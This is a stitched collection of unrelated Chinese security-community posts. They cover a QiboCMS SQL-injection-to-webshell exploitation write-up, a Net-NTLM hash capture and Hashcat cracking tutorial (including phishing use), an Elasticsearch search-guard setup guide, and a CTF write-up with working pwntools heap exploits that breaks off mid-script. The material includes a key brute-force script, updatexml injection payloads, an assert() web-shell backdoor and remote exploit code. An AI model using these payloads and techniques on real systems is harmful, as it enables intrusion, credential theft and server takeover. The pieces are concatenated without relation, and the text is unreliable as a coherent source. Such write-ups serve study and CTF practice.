的功能设置url末段为”/..”,这样一来回将hashbrown cms
所在的目录内容完全删除掉。再次沟通后在1.3.4版本真正修复次问题。申请CVE获得号码CVE-2020-5840。
本文内容到此结束，恳请大佬们指教。 | 社区文章 |
# 漏洞产生分析
首先在do/.activate.php文件中找到发送激活序列的代码：
提取重要信息：
* 激活url:`do/activate.php?job=activate&md5_id=$md5_id`
由激活的链接可以在此文件找到账号激活触发的流程：
* 激活序列$md5_id在经过mymd5()函数的解密后生成$username和$password
* 然后将$username代入了get_allInfo()函数，在inc/class.user.php文件中找到该函数：
* 发现get_allInfo()是一个获取用户信息的函数，$username有被传入了get_passport()函数，进入：
* 此函数直接执行了数据库的查询，纵观全过程，并没有对激活序列解密得到的$username进行过滤，由此可以进行sql注入。
### 本地测试
* 在本地，直接利用mymd5()函数构造注入的激活序列(由于没有回显，测试发现有报错信息)
`echo mymd5("aaa' and (updatexml(1,concat(0x7e,(substring((select flag from
flag),1,32)),0x7e),1))#'\taaaa");`
然后进行访问得到：
证明，激活验证处可以进行注入，那么，接下来我们看一看远程的qibocms的激活验证如何进行可注入。
# 漏洞利用
上文我们已经得到了可以利用激活验证进行sql注入，那么，接下来我们分析如何利用：
* 首先我们找到激活序列如何生成的，在do/.activate.php文件：
我们可以看到激活序列$md5_id的生成语句
`$md5_id=str_replace('+','%2B',mymd5("{$rs[username]}\t{$rs[password]}"));`
$md5_id是对注册的用户密码拼接后在用mymd5函数加密后形成的。
* 接下来，我们看一看mymd5()函数（inc/function.inc.php）
可见，函数中存在一个加密密钥
`$secret_string = $webdb[mymd5].$rand.'5*j,.^&;?.%#@!';`
由两个变量和一个固定字符串组成，在激活序列加密过程中$rand为空，那么我们只需要知道$webdb[mymd5]就可以构造出密钥，也就可以在本地构造激活序列。
* 在do/activate.php中找到了$webdb[mymd5]生成方法
继续进入rands()函数 （inc/function.inc.php）
由此，可知$webdb[mymd5]是一个以`(double)microtime() * 1000000`为随机种子的十位随机字符串
* 提取重要信息：随机种子是0-999999
**由此可得利用方法一：**
- 利用随机种子是0-999999，进行爆破，一共一百万次，如果站长不修改默认的密钥的话，总能爆出来，不过不提倡，咱们是文明人
* 继续分析：既然咱们不去远程爆破，那咱们就在本地爆破，获取一个我们所知的数据经过mymd5()加密后形成的数据，既可以在本地进行爆破对比，从而可以得到密钥：
* 我们要找一个能够显示相关数据的地方：
1. 验证激活的地方
可以看到如果账号需要激活，网站会把用户名和密码组成的字符串加密后发到注册邮箱，由此我们可以根据邮件里的激活序列在本地进行爆破
2. COOKIE里，在inc/function.inc.php里找到了set_cookie()函数（ps:这不重要，重要的是可以全局搜索set _cookie +_ +）
在synlogin()函数中将用户密码加密在cookie中显示，并且这个cookie在用户登录之后就会被设置，
由此，我们可以注册一个用户并登陆，然后根据我们设置的密码和passport的cookie，在本地进行密钥爆破
验证：
1. 注册admin123：admin123的用户，并查找cookie
2.提取cookie：
`4%09admin123%09VlUJBwQHVQcOVVVRDwNWAlMCCFMAAwZYXFUEAVYGA1U%3D1f1f2c0a1c`
根据`set_cookie("passport","$rs[uid]\t$username\t".mymd5($rs[password],'EN'),$cookietime);`url解码后提取出密码admin123加密之后的数据`VlUJBwQHVQcOVVVRDwNWAlMCCFMAAwZYXFUEAVYGA1U=1f1f2c0a1c`
1. 编写脚本爆破
$md5_id="VlUJBwQHVQcOVVVRDwNWAlMCCFMAAwZYXFUEAVYGA1U=1f1f2c0a1c";
$passwd="admin123";
get_webdb_mymd5();
function get_webdb_mymd5(){
global $passwd;
global $md5_id;
global $webdb_mymd5;
for($seed = 999999;$seed>=0;$seed--){
print "[-] 正在测试种子：$seed\n";
$webdb_mymd5=rands($seed);
$payload = mymd5(md5($passwd));
if($payload==$md5_id){
print $payload.rands($seed);;
print " [-] 密钥：$webdb_mymd5 \n";
// file_put_contents("data.log","$url-----@@$webdb_mymd5@@\n",FILE_APPEND);
return $webdb_mymd5;
}
}
die("no \n");
}
function mymd5($string,$action="EN",$rand=''){ //字符串加密和解密
global $webdb_mymd5;
if($action=="DE"){//处理+号在URL传递过程中会异常
$string = str_replace('QIBO|ADD','+',$string);
}
$secret_string = $webdb_mymd5.$rand."5*j,.^&;?.%#@!"; //绝密字符串,可以任意设定
if(!is_string($string)){
$string=strval($string);
}
if($string==="") return "";
if($action=="EN") $md5code=substr(md5($string),8,10);
else{
$md5code=substr($string,-10);
$string=substr($string,0,strlen($string)-10);
}
//$key = md5($md5code.$_SERVER["HTTP_USER_AGENT"].$secret_string);
$key = md5($md5code.$secret_string);
$string = ($action=="EN"?$string:base64_decode($string));
$len = strlen($key);
$code = "";
for($i=0; $i<strlen($string); $i++){
$k = $i%$len;
$code .= $string[$i]^$key[$k];
}
$code = ($action == "DE" ? (substr(md5($code),8,10)==$md5code?$code:NULL) : base64_encode($code)."$md5code");
if($action=="EN"){//处理+号在URL传递过程中会异常
$code = str_replace('+','QIBO|ADD',$code);
}
return $code;
}
function rands($seed,$length=10) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
mt_srand($seed);
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
$hash=strtolower($hash);
return $hash;
}
得到密钥，将密钥写进mymd5()函数中，开始你的注入吧！！！
等等，这就结束了？有句话说的好，不想拿shell的厨子不是好司机
# 深入攻击
本地分析cms的数据库，发现在qb_memberdata表中设定了用户的权限：
权限的设置为
所以思路来了：
1. 利用注入得到超级管理员的用户名和密码
2. 进入管理后台getshell
实现：
* 构造查询超级管理员用户名，sql:
`and (updatexml(1,concat(0x7e,(substring((select username from qb_memberdata
where groupid=3),1,32)),0x7e),1))`
得到用户名：admin666
* 构造查找密码sql:
`and (updatexml(1,concat(0x7e,(substring((select password from qb_members
where username='admin666'),1,32)),0x7e),1))#`
得到密码MD5后值8a30ec6807f71bc69d096d8e4d501ad，在cmd5解密之后得到：admin666
* 登录管理后台，参考[齐博cm后台getshell文章](https://blog.csdn.net/vspiders/article/details/79825603 "齐博cm后台getshell文章")
增加栏目为${assert($_POST[a])}，后门直接写入/data/guide_fid.php文件中，菜刀连之即可。
可以看到/data/guide_fid.php文件
* 菜刀链接：
getshell！！！
# 总结
刚开始接触到这个漏洞时，也没想到有什么好的利用方式，不过随着逐步的深入研究，发现还是有很多的利用方式的，本想直接把注册的用户修改成超级管理员权限，不过测试了半天没成功，只能退而求其次解密超级管理员的密码了，不过现在个各大MD5网站，不加盐的MD5除非特别复杂的密码没办法解出来,一般的都能解出来。
也提醒了我们在设计时，在sql语句在带入数据库查询前一定要进行白名单过滤；在对密码加密时一定要考虑被破解的概率。 | 社区文章 |
## 0x00 前言
* * *
在Windows系统中，比较常见是从系统导出来的NTLM hash，通过Hashcat能够破解出明文密码。
Hashcat支持超过200种高度优化的hash算法，其中和NTLM
hash相关的有4个，分别为`NetNTLMv1`、`NetNTLMv1+ESS`、`NetNTLMv2`和`NTLM`。
NetNTLM具体是什么呢？又是如何获得的呢？本文受到byt3bl33d3r文章的启发，下面将结合自己的心得，介绍这部分内容
学习链接：
<https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html>
## 0x01 简介
* * *
* NTLM hash和Net-NTLM hash区别
* NTLM hash的加密方法
* Net-NTLM hash的破解
## 0x02 NTLM hash
* * *
通常是指Windows系统下Security Account Manager中保存的用户密码hash
该hash的生成方法：
1. 将明文口令转换成十六进制的格式
2. 转换成Unicode格式，即在每个字节之后添加0x00
3. 对Unicode字符串作MD4加密，生成32位的十六进制数字串
**实际测试：**
用户密码为`test123`
转换成十六进制的格式为`74657374313233`
转换成Unicode格式为`7400650073007400310032003300`
对字符串`7400650073007400310032003300`作MD4加密，结果为`c5a237b7e9d8e708d8436b6148a25fa1`
**注：**
MD4加密可使用工具HashCalc，如下图
下面使用mimikatz导出用户密码的hash，对比进行验证，结果相同，验证成功，如下图
在渗透测试中，通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash，通过Mimikatz读取lsass.exe进程能获得已登录用户的NTLM
hash
**补充：**
Windows Vista和Windows Server 2008以前的系统还会使用LM hash
LM hash的生成方法本文暂不介绍
自Windows Vista和Windows Server 2008开始,Windows取消LM hash
但某些工具的参数需要填写固定格式`LM hash:NT hash`，可以将LM hash填0(LM
hash可以为任意值)，即`00000000000000000000000000000000:NT hash`
## 0x03 Net-NTLM hash
* * *
通过是指网络环境下NTLM认证中的hash
NTLM认证采用质询/应答（Challenge/Response）的消息交换模式，流程如下：
1. 客户端向服务器发送一个请求，请求中包含明文的登录用户名。服务器会提前存储登录用户名和对应的密码hash
2. 服务器接收到请求后，生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。使用存储的登录用户密码hash加密Challenge，获得Challenge1
3. 客户端接收到Challenge后，使用登录用户的密码hash对Challenge加密，获得Challenge2(这个结果被称为response)，将response发送给服务器
4. 服务器接收客户端加密后的response，比较Challenge1和response，如果相同，验证成功
在以上流程中，登录用户的密码hash即`NTLM hash`，response中包含`Net-NTLM hash`
更多NTLM认证的资料可参考：
<http://davenport.sourceforge.net/ntlm.html>
在NTLM认证中，NTLM响应分为NTLM v1，NTLMv2，NTLM session v2三种协议，不同协议使用不同格式的Challenge和加密算法
所以也就存在不同协议的Net-NTLM hash，即Net-NTLM v1 hash，Net-NTLM v2 hash
**实际测试：**
服务器：
* IP： 192.168.62.139
* 登录用户名： a
* 登录密码： test123
客户端：
* IP： 192.168.62.130
客户端通过命令行远程连接服务器，命令如下：
net use \\192.168.52.139 /u:a test123
同时，客户端运行Wireshark，捕获数据包，如下图
前四个数据包对应NTLM认证的四个步骤
查看第二个数据包，获得Challenge，为`c0b5429111f9c5f4`，如下图
查看第三个数据包，获得客户端加密后的Challenge，为`a9134eee81ca25de`，如下图
Response数据为`a5f1c47844e5b3b9c6f67736a2e1916d:0101000000000000669dae86ba8bd301a9134eee81ca25de0000000002001e00570049004e002d003100550041004200430047004200470049005500330001001e00570049004e002d003100550041004200430047004200470049005500330004001e00570049004e002d003100550041004200430047004200470049005500330003001e00570049004e002d003100550041004200430047004200470049005500330007000800669dae86ba8bd30106000400020000000800300030000000000000000000000000300000e9d9e613613097d1e2f47c1fd97fa099f65dfd78075d8bdb5ca162492ea5d2990a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00360032002e00310033003900000000000000000000000000`，如下图
下面，使用Hashcat对该Net-NTLM hash进行破解
NTLMv2的格式为：
`username::domain:challenge:HMAC-MD5:blob`
**注：**
challenge为NTLM Server Challenge，domian由数据包内容获得(IP或者机器名)
HMAC-MD5对应数据包中的NTProofStr，如下图
blob对应数据包中Response去掉NTProofStr的后半部分
因此，完整的NTLMv2数据如下：
`a::192.168.62.139:c0b5429111f9c5f4:a5f1c47844e5b3b9c6f67736a2e1916d:0101000000000000669dae86ba8bd301a9134eee81ca25de0000000002001e00570049004e002d003100550041004200430047004200470049005500330001001e00570049004e002d003100550041004200430047004200470049005500330004001e00570049004e002d003100550041004200430047004200470049005500330003001e00570049004e002d003100550041004200430047004200470049005500330007000800669dae86ba8bd30106000400020000000800300030000000000000000000000000300000e9d9e613613097d1e2f47c1fd97fa099f65dfd78075d8bdb5ca162492ea5d2990a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00360032002e00310033003900000000000000000000000000`
为便于测试，新建字典文件，字典内容为`test123`
Hashcat参数如下：
hashcat -m 5600 a::192.168.62.139:c0b5429111f9c5f4:a5f1c47844e5b3b9c6f67736a2e1916d:0101000000000000669dae86ba8bd301a9134eee81ca25de0000000002001e00570049004e002d003100550041004200430047004200470049005500330001001e00570049004e002d003100550041004200430047004200470049005500330004001e00570049004e002d003100550041004200430047004200470049005500330003001e00570049004e002d003100550041004200430047004200470049005500330007000800669dae86ba8bd30106000400020000000800300030000000000000000000000000300000e9d9e613613097d1e2f47c1fd97fa099f65dfd78075d8bdb5ca162492ea5d2990a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00360032002e00310033003900000000000000000000000000 /tmp/password.list -o found.txt --force
说明：
-m： hash-type，5600对应NetNTLMv2，详细参数可查表：<https://hashcat.net/wiki/doku.php?>
-o： 输出文件
字典文件为/tmp/password.list
\--force代表强制执行，测试系统不支持Intel OpenCL
成功破解出登录的明文密码，输出如下图
在渗透测试中，通常有以下两种利用方法
#### 1、使用中间人攻击的方式来获取Net-NTLM hash，常用工具为Responder和Inveigh
Responder:
python编写，可供参考的地址：
<https://github.com/lgandx/Responder>
Inveigh:
powershell编写，可供参考的地址：
<https://github.com/Kevin-Robertson/Inveigh>
**实际测试：**
测试环境同上，在同一网段下的一个测试主机运行Inveigh，参数如下：
Import-Module .\Inveigh.psd1
Invoke-Inveigh -consoleoutput Y
当客户端通过命令行远程连接服务器时，Inveigh捕获到Net-NTLM hash，如下图
NTLMv2 hash为`a::WIN-FVJLPTISCFE:A944CF357E0938DA:C1BB2CDD038D3AA6FA53FD360D7CBA9C:0101000000000000937115D1BC8BD301033605ACA1ACA1C00000000002001E00570049004E002D003100550041004200430047004200470049005500330001001E00570049004E002D003100550041004200430047004200470049005500330004001E00570049004E002D003100550041004200430047004200470049005500330003001E00570049004E002D003100550041004200430047004200470049005500330007000800937115D1BC8BD30106000400020000000800300030000000000000000100000000200000E9D9E613613097D1E2F47C1FD97FA099F65DFD78075D8BDB5CA162492EA5D2990A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00360032002E00310033003900000000000000000000000000`
Hashcat参数如下：
hashcat -m 5600 a::WIN-FVJLPTISCFE:A944CF357E0938DA:C1BB2CDD038D3AA6FA53FD360D7CBA9C:0101000000000000937115D1BC8BD301033605ACA1ACA1C00000000002001E00570049004E002D003100550041004200430047004200470049005500330001001E00570049004E002D003100550041004200430047004200470049005500330004001E00570049004E002D003100550041004200430047004200470049005500330003001E00570049004E002D003100550041004200430047004200470049005500330007000800937115D1BC8BD30106000400020000000800300030000000000000000100000000200000E9D9E613613097D1E2F47C1FD97FA099F65DFD78075D8BDB5CA162492EA5D2990A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00360032002E00310033003900000000000000000000000000 /tmp/password.list --force
成功破解出登录的明文密码，输出如下图
#### 2、通过多种方式强制目标客户端向伪造的服务器发起SMB连接，在伪造的服务器上捕获数据包，获得Net-NTLM hash
对于SMB协议，客户端在连接服务端时，默认先使用本机的用户名和密码hash尝试登录
**实际测试：**
客户端IP： 192.168.62.139
服务端IP： 192.168.62.130
服务端运行Wireshark，捕获数据包
客服端尝试连接服务器，为便于演示，通过界面操作，地址栏直接输入`\\192.168.62.130`，弹框提示用户名密码不正确，如下图
此时，服务端的Wireshark已经捕获到数据包，组装NTLMv2 hash，内容如下：
`a::WIN-FVJLPTISCFE:a05179df44d8cd35:43589a30aea29cf24fbd9c01a85e4b7e:0101000000000000eb8e1d9bf08ed301ca0ea89448cceba80000000002001e00570049004e002d003100550041004200430047004200470049005500330001001e00570049004e002d003100550041004200430047004200470049005500330004001e00570049004e002d003100550041004200430047004200470049005500330003001e00570049004e002d003100550041004200430047004200470049005500330007000800eb8e1d9bf08ed30106000400020000000800300030000000000000000100000000200000e4ab58611d3ed61427fa3c7075c75897aebae420dd42b71c73886ebca92b3c3b0a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00360032002e00310033003900000000000000000000000000`
Hashcat参数如下：
hashcat -m 5600 a::WIN-FVJLPTISCFE:a05179df44d8cd35:43589a30aea29cf24fbd9c01a85e4b7e:0101000000000000eb8e1d9bf08ed301ca0ea89448cceba80000000002001e00570049004e002d003100550041004200430047004200470049005500330001001e00570049004e002d003100550041004200430047004200470049005500330004001e00570049004e002d003100550041004200430047004200470049005500330003001e00570049004e002d003100550041004200430047004200470049005500330007000800eb8e1d9bf08ed30106000400020000000800300030000000000000000100000000200000e4ab58611d3ed61427fa3c7075c75897aebae420dd42b71c73886ebca92b3c3b0a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00360032002e00310033003900000000000000000000000000 /tmp/password.list --force
成功破解出客户端当前用户的明文密码，输出如下图
**实际利用举例：**
发送钓鱼邮件，用户打开邮件时会隐蔽访问伪造的服务器，服务器通过捕获数据包就能获得目标当前用户的Net-NTLM hash，进一步破解还原出明文密码
## 0x04 小结
* * *
本文介绍了NTLM hash和Net-NTLM hash的区别，实际演示NTLM hash的加密方法和Net-NTLM
hash的破解方法。如果破解不出明文密码，对于NTLM hash可使用Pass-The-Hash作进一步利用，那么对于Net-NTLM hash呢？ | 社区文章 |
本文由：uni3orns 发表在小米安全中心，
原文地址：https://sec.xiaomi.com/article/16
#### 背景
Elasticsearch是一个基于Lucene构建的开源,分布式,RESTful搜索引擎，大量使用于各种场景，随着不断的发展，不可避免的会产生安全问题，一些危害比较大的漏洞比如CVE-2015-3337、CVE-2015-5531。面对这些漏洞（包括0day）的威胁，以及多业务使用使用同一套es集群的情况，使用一套认证授权系统就显得尤为必要。
经过es1代到2代产品的过度，目前主流的方案就只有官方的shield以及开源search-guard，然而我厂比较扣。
#### search-guard
search-guard 更新到2.x后跟 shield 配置上很相似，相比1.x的版本逻辑上更加松散。
searchguard 优点有：
* 节点之间通过 SSL/TLS 传输
* 支持 JDK SSL 和 Open SSL
* 支持热载入，不需要重启服务
* 支持 kibana4 及 logstash 的配置
* 可以控制不同的用户访问不同的权限
* 配置简单
#### 安装
安装search-guard-ssl
sudo bin/plugin install -b com.floragunn/search-guard-ssl/2.3.3.11
安装search-guard-2
sudo bin/plugin install -b com.floragunn/search-guard-2/2.3.3.0-rc1
#### 证书
根据自身情况修改官方脚本生成admin证书、node证书、根证书，将 node 证书和根证书放在 elasticsearch
配置文件目录下，同时将admin证书和根证书放到search-guard 配置文件目录下（tips：证书需要统一生成）
#### 配置 elasticsearch 支持 ssl
elasticsearch.yml增加以下配置：
#### 重启 elasticsearch
注意：任何修改elasticsearch.yml的操作都需要重启elasticsearch才能生效
#### 配置文件介绍
searchguard 主要有5个配置文件在 plugins/search-guard-2/sgconfig 下：
sg_config.yml:
主配置文件不需要做改动
sg_internal_users.yml:
本地用户文件，定义用户密码以及对应的权限。例如：对于 ELK 我们需要一个 kibana 登录用户和一个 logstash 用户：
密码可用plugins/search-guard-2/tools/hash.sh生成
sg_roles.yml:
权限配置文件，这里提供 kibana4 和 logstash 的权限样例
sg_roles_mapping.yml:
定义用户的映射关系，添加 kibana 及 logstash 用户对应的映射：
sg_action_groups.yml:
定义权限
#### 加载配置并启用
如修改了searchguard，则需要重新加载配置执行
注意：search-guard配置的相关改动不需要重启elasticsearch，相关的配置实际上存储在searchguard 的indice下了
此文章基于以下软件版本，不同版本可能略有差异：
elasticsearch 2.3.3
search-guard 2.3.3 RC1 | 社区文章 |
## Misc
### Mine Sweeping
勇气、危机、未知、热血、谋略，的3A级游戏大作——扫雷
题目是一个Unity游戏，将其Assembly-CSharp.dll放到dnSpy里，看到其地图分析的逻辑。找到其地图相关的信息。
找到了一个DevilsInHeaven数组，但这个数组并不是按照顺序来的，其中的每一个数据，是从下往上的某一列的数据，1为有雷，0为没有。
然后还找到了Changemap的函数，该函数说明了这个雷的分布也不是完全和前面那个数组一样的，有一些位置（6个）被进行了随机。
这个扫雷雷太多了，所以是不可能正常的扫出来的。
由于ChangeMap改的非常少，所以每次的图其实差别不大。发现了左上左下和右下的大方框和右上的小方框，感觉是向左旋转90度的二维码。
然后一列一列试DevilsInHeaven数组中的数据，找到对应的列
然后整出二维码，扫描二维码得flag
### Deep Encrypt
一道机器学习的题目，给了模型，直接加载模型，看其结构，发现是wx+b=y的线性模型，已知y求x，因为w不是方阵，不能简单通过求逆得到，这里将给定的y作为目标，用梯度下降训练，把wx+b中的w当成输入，x当成参数，训练x直到满足条件
import h5py
import numpy as np
import keras.models as models
import tensorflow as tf
def mse(true, predict):
loss = np.average(np.abs(true - predict))
return loss
input_file = np.loadtxt('DeepEncrypt/flag_sample.txt')
output_file = np.loadtxt('DeepEncrypt/enc_sample.txt')
model = models.load_model('DeepEncrypt/enc.hdf5')
model.summary()
layer1 = model.get_layer(index=1)
weights = layer1.get_weights()
W = weights[0]
b = weights[1]
print('W:', np.shape(W), 'b:', np.shape(b))
label = np.loadtxt('DeepEncrypt/flag_enc.txt')
input_op = tf.placeholder(tf.float32, [128, 64])
label_op = tf.placeholder(tf.float32, [64])
W_op = tf.Variable(tf.truncated_normal([1, 128]))
pred = tf.matmul(tf.sigmoid(W_op), input_op)
loss = tf.reduce_mean(tf.abs(label_op - pred))
optimizer = tf.train.AdamOptimizer(learning_rate=1e-3)
train_op = optimizer.minimize(loss)
with tf.Session() as sess:
sess.run(tf.global_variables_initializer())
for i in range(10000):
_, loss_value = sess.run([train_op, loss],
feed_dict={input_op: W, label_op:label - b})
if i % 100 == 0:
print(i, loss_value)
result = np.array(sess.run(W_op))
result[result > 0.5] = 1
result[result < 0.5] = 0
print(result.astype(np.uint8))
print(mse(np.matmul(result, W) + b, label))
## Crypto
### xorz
flag位数较短，所以对flag逐字符爆破，对flag每一个字符使其与ciphertext对应位置的字符做xor，因为猜测plaintext为英文，所以xor结果如果在英文文字范围内即可能正确，然后再逐字符拼接成有意义的flag
import string
length = 30
flag_dic = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_'
plain_dic = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,. '
cipher = '1e5d4c055104471c6f234f5501555b5a014e5d001c2a54470555064c443e235b4c0e590356542a130a4242335a47551a590a136f1d5d4d440b0956773613180b5f184015210e4f541c075a47064e5f001e2a4f711844430c473e2413011a100556153d1e4f45061441151901470a196f035b0c4443185b322e130806431d5a072a46385901555c5b550a541c1a2600564d5f054c453e32444c0a434d43182a0b1c540a55415a550a5e1b0f613a5c1f10021e56773a5a0206100852063c4a18581a1d15411d17111b052113460850104c472239564c0755015a13271e0a55553b5a47551a54010e2a06130b5506005a393013180c100f52072a4a1b5e1b165d50064e411d0521111f235f114c47362447094f10035c066f19025402191915110b4206182a544702100109133e394505175509671b6f0b01484e06505b061b50034a2911521e44431b5a233f13180b5508131523050154403740415503484f0c2602564d470a18407b775d031110004a54290319544e06505b060b424f092e1a770443101952333213030d554d551b2006064206555d50141c454f0c3d1b5e4d43061e453e39544c17580856581802001102105443101d111a043c03521455074c473f3213000a5b085d113c194f5e08555415180f5f433e270d131d420c1957773f560d11440d40543c060e470b55545b114e470e193c155f4d47110947343f13180c100f565a000403484e184c15050250081f2a54470545104c5536251325435302461a3b4a02484e12545c1b4265070b3b5440055543185b36231301025b084054220f4f42071b1554020f430b196f19564d4002055d79'.decode('hex')
list_flag = []
for i in range(0,length):
list_i = []
for flag_byte in flag_dic:
count = 0
for j in range(i,600,length):
if chr(ord(flag_byte)^ord(cipher[j])) in plain_dic:
count += 1
if count>=600/length-1:
list_i.append(flag_byte)
list_flag.append(list_i)
print list_flag
### Baby Rsa
各种方法混搭，用到了低加密指数攻击、低加密指数广播攻击、e与phi(n)不互素时开方、yafu分解两个大小接近的p和q
最后一步解用到的方法：
<https://blog.csdn.net/chenzzhenguo/article/details/94339659>
结果：
de1ctf{9b10a98b-71bb-4bdf-a6ff-f319943de21f}
### Baby lfsr
题目给了一个lfsr，隐藏了mask和初始的key，mask和key的长度是256bit；又给出了504位的输出。先爆破8bit，把输出补充到512bit，mask，最后用mask还原出key。爆破的时候检查矩阵的rank和flag的哈希值。
from sage.all_cmdline import *
import hashlib
GF2 = GF(2);
def pad(m):
pad_length = 8 - len(m)
return pad_length*'0' + m
for x in range(2 ** 8):
a = '001010010111101000001101101111010000001111011001101111011000100001100011111000010001100101110110011000001100111010111110000000111011000110111110001110111000010100110010011111100011010111101101101001110000010111011110010110010011101101010010100101011111011001111010000000001011000011000100000101111010001100000011010011010111001010010101101000110011001110111010000011010101111011110100011110011010000001100100101000010110100100100011001000101010001100000010000100111001110110101000000101011100000001100010'
a = a + pad(bin(x)[2:])
#print a, len(a)
A = []
for i in range(512-256):
A.append([int(op) for op in a[i:i+256]])
A = matrix(GF2,A)
#print A.rank()
if A.rank() != 256:
continue
last = a[256:]
b = [int(op) for op in last]
b = vector(GF2, b)
mask = A.solve_right(b)
sss = ''
for x in range(256):
sss += str(mask[x])
print sss
mask = int(sss, 2)
#mask = 0b0000100101000010111000001101111011101111100010110001001110100000011100101110001111100001011110000111110011000111011100010010001111100111010111011111000100111111010000110001111001000001000110000010110000111011010001111000101000101101010101011010110100000000
N = 256
F = GF(2)
b = a
R = [vector(F, N) for i in range(N)]
for i in range(N):
R[i][N - 1] = mask >> (N-1 - i) & 1
for i in range(N - 1):
R[i + 1][i] = 1
M = Matrix(F, R)
M = M ** N
vec = vector(F, N)
row = 0
for i in range(N / 8):
t = int(a[i*8:i*8+8],2)
for j in xrange(7, -1, -1):
vec[row] = t >> j & 1
row += 1
print 'rank of M:',rank(M)
if M.rank() != 256:
continue
num = int(''.join(map(str, list(M.solve_left(vec)))), 2)
print num
KEY = num
FLAG = "de1ctf{"+hashlib.sha256(hex(KEY)[2:].rstrip('L')).hexdigest()+"}"
if FLAG[7:11]=='1224':
print FLAG
break
## Pwn
### Weapon
没有输出的UAF堆题，通过`stdout`泄漏地址即可，需要爆破一下。
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
def add(p, idx, size, content):
p.sendlineafter('choice >> ', str(1))
p.sendlineafter('wlecome input your size of weapon: ', str(size))
p.sendlineafter('input index: ', str(idx))
p.sendafter('input your name:', content)
def delete(p, idx):
p.sendlineafter('choice >> ', str(2))
p.sendlineafter('input idx :', str(idx))
def edit(p, idx, content):
p.sendlineafter('choice >> ', str(3))
p.sendlineafter('input idx: ', str(idx))
p.sendafter('new content:', content)
def pwn():
DEBUG = 0
if DEBUG == 1:
p = process('./pwn')
gdb.attach(p)
else:
p = remote('139.180.216.34', 8888)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
add(p, 0, 0x60, 'sunichi'.ljust(0x58, '\x00') + p64(0x70))
add(p, 1, 0x60, 'sunichi')
add(p, 2, 0x60, 'sunichi')
add(p, 3, 0x60, 'sunichi')
add(p, 4, 0x60, 'sunichi')
add(p, 7, 0x60, 'sunichi')
add(p, 8, 0x60, 'sunichi')
add(p, 9, 0x60, 'sunichi')
delete(p, 0)
delete(p, 2)
edit(p, 2, '\x60')
add(p, 2, 0x60, 'sunichi')
add(p, 5, 0x60, p64(0) + p64(0x70+0x71))
delete(p, 1)
edit(p, 5, p64(0) + p64(0x71) + '\xdd\x25')
delete(p, 0)
delete(p, 3)
edit(p, 3, '\x70')
add(p, 3, 0x60, 'sunichi')
add(p, 1, 0x60, 'sunichi')
payload = '\x00\x00\x00' + 6 * p64(0) + p64(0xfbad1800) + p64(0) * 3 + '\x00'
add(p, 6, 0x60, payload)
p.recvuntil(p64(0xfbad1800) + p64(0) * 3)
recv = p.recv(8)
libc.address = u64(recv) - (0x00007ffff7dd2600 - 0x00007ffff7a0d000)
delete(p, 8)
edit(p, 8, p64(libc.symbols['__malloc_hook'] - 0x13))
add(p, 8, 0x60, 'sunichi')
add(p, 8, 0x60, '\x00\x00\x00' + p64(libc.address + 0xf02a4))
delete(p, 9)
delete(p, 9)
print hex(libc.address)
p.interactive()
p.close()
if __name__ == '__main__':
pwn()
### A+B Judge
非预期解
#include <stdlib.h>
void main(void) {
system("cat flag");
return;
}
### Mimic Note
off-by-null，32位和64位p64和p32的情况刚好不一致，可以利用不同`idx`的堆块在两边分别unlink。然后同时修改两个程序（核心步骤）的`atoi@got`到gadget处进行ROP并劫持`write@got`到`syscall`。
from pwn import *
#context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
def add(p, size):
p.sendlineafter('>> ', str(1))
p.sendlineafter('size?\n', str(size))
def delete(p, idx):
p.sendlineafter('>> ', str(2))
p.sendlineafter('index ?\n', str(idx))
def show(p, idx):
p.sendlineafter('>> ', str(3))
p.sendlineafter('index ?\n', str(idx))
def edit(p, idx, content):
p.sendlineafter('>> ', str(4))
p.sendlineafter('index ?\n', str(idx))
p.sendafter('content?\n', content)
#sleep(0.5)
def pwn(count):
DEBUG = 0
arch = ''
elf32 = ELF('./mimic_note_32')
elf64 = ELF('./mimic_note_64')
#if DEBUG == 1 and arch == '64':
# p = process('./mimic_note_64')
#elif DEBUG == 1 and arch == '32':
# p = process('./mimic_note_32')
if DEBUG == 1:
#p = process('./mimic')
#p = remote('127.0.0.1', 9999)
p = process('./mimic')
else:
p = remote('45.32.120.212', 6666)
if DEBUG == 1:
#pass
gdb.attach(p)
# 64 bit unlink
add(p, 0x100-8) # 0
add(p, 0x100-8) # 1
add(p, 0x100-8) # 2
add(p, 0x100-8) # 3
delete(p, 0)
payload = 'a' * (0xf0) + p64(0x200)
edit(p, 1, payload)
delete(p, 2)
add(p, 0x1f8) # 0 is 1
add(p, 0xf8) # 2
payload = p64(0) + p64(0xf1) + p64(0x6020b0-0x18) + p64(0x6020b0-0x10)
payload = payload.ljust(0xf0, '\x00') + p64(0xf0)
edit(p, 1, payload)
delete(p, 2)
# 32 bit unlink
add(p, 0x100-8)
add(p, 0x100-8)
add(p, 0x100-4) # 32 bit 5/6/7
add(p, 0x100-4)
add(p, 0x100-4)
add(p, 0x100-4)
delete(p, 5)
payload = 'a' * 0xf8 + p32(0x200)
edit(p, 6, payload)
delete(p, 7)
add(p, 0x1f8+4) # 5 is 6
add(p, 0xf8+4) # 7
payload = p32(0) + p32(0xf9) + p32(0x804a090-0x18/2) + p32(0x804a090-0x10/2)
